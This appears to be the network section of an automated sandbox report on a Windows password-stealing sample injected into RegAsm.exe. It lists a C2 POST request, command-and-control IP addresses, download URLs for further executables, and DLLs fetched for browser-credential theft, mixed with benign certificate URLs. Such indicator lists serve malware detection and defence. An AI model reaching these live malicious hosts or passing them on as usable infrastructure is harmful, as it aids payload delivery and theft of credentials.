Source: global traffic	DNS traffic detected: DNS query: tenntysjuxmz.shop

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exe
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exeXO
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exepN
Source: RegAsm.exe, 0000000B.00000002.2842405212.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2842405212.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllfN
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(pV
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: RegAsm.exe, 0000000B.00000002.2842405212.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll8pV
Source: RegAsm.exe, 0000000B.00000002.2842405212.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpData
Source: RegAsm.exe, 0000000B.00000002.2879154437.00000000340D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpY
Source: RegAsm.exe, 0000000B.00000002.2842405212.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----BAKEBAFIIECBGCAAAAFCefault-release
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpt.bundle.js
Source: RegAsm.exe, 0000000B.00000002.2842405212.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109FCBAKKF-data;
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, freebl3.dll.4.dr, mozglue.dll.4.dr, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr, softokn3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273F9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, freebl3.dll.4.dr, mozglue.dll.4.dr, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://gacan.zapto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, freebl3.dll.4.dr, mozglue.dll.4.dr, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr, softokn3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273F9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, freebl3.dll.4.dr, mozglue.dll.4.dr, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr, softokn3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, freebl3.dll.4.dr, mozglue.dll.4.dr, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr, softokn3.dll.4.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.2881081454.000000006C5AD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.4.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2880291390.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/freebl3.dll
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/freebl3.dllCrm/1
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/mozglue.dll
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/mozglue.dllz
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/msvcp140.dll
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/msvcp140.dll%rS/.
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/nss3.dll$R
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/nss3.dll?S
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/softokn3.dll
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/sqlp.dll
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/vcruntime140.dll
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83/vcruntime140.dll(qJ/)
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83EBAK
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83FBAK
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83GDGI
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://159.69.100.83hbwdh.exeent-Disposition:
Source: BKECFI.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://basedsymsotp.shop/api
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2879154437.00000000340D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/
Source: RegAsm.exe, 0000000B.00000002.2879154437.00000000340D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/V
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/shbwdh.exe
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/shbwdh.exe1kkkk1117893https://brasstech.in/vnfdamfs.exe1kkkkZ
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/shbwdh.exeent-Disposition:
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/vnfdamfs.exe
Source: RegAsm.exe, 00000004.00000002.4592558675.0000000001244000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/vnfdamfs.exeA5Q.(
Source: RegAsm.exe, 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/vnfdamfs.exet-Disposition:
Source: RegAsm.exe, 0000000B.00000002.2871528825.00000000273F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brasstech.in/vnfdamfs.exez
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: BKECFI.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp, BKECFI.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp, BKECFI.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://commisionipwn.shop/api
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://commisionipwn.shop/apiT
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://complainnykso.shop/api
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BKECFI.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BKECFI.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BKECFI.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
